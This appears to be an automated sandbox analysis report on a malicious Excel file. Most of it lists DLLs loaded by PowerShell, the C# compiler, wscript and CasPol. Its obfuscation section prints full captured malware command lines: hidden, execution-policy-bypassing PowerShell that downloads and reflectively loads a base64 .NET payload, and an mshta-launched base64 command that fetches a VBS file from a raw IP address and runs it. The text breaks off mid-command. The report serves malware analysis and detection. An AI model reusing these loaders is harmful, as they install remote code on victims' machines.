                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: dwmapi.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: ntmarta.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: secur32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winmm.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: shcore.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: iphlpapi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winnsi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: rstrtmgr.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: ncrypt.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: bcrypt.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: dnsapi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: dhcpcsvc6.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: dhcpcsvc.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: rasadhlp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: cryptsp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: secur32.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winhttp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: webio.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: nlaapi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: secur32.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: cryptsp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: atl.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: pstorec.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: atl.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: mozglue.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: dbghelp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: msvcp140.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: vcruntime140.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: ucrtbase.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winmm.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wsock32.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
                Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
                Source: 0001.xlsStatic file information: File size 1227776 > 1048576
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.pdb source: powershell.exe, 0000000E.00000002.494152955.00000000025C8000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.pdbhP source: powershell.exe, 0000000E.00000002.494152955.000000000275A000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: gement.Automation.pdbdbe source: powershell.exe, 00000005.00000002.450932225.000000001C349000.00000004.00000020.00020000.00000000.sdmp
                Source: ~DF3AE4293CD94DBA64.TMP.0.drInitial sample: OLE indicators vbamacros = False
                Source: 0001.xlsInitial sample: OLE indicators encrypted = True

                Data Obfuscation

                barindex
                Obfuscated command line found
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))"
                PowerShell case anomaly found
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQ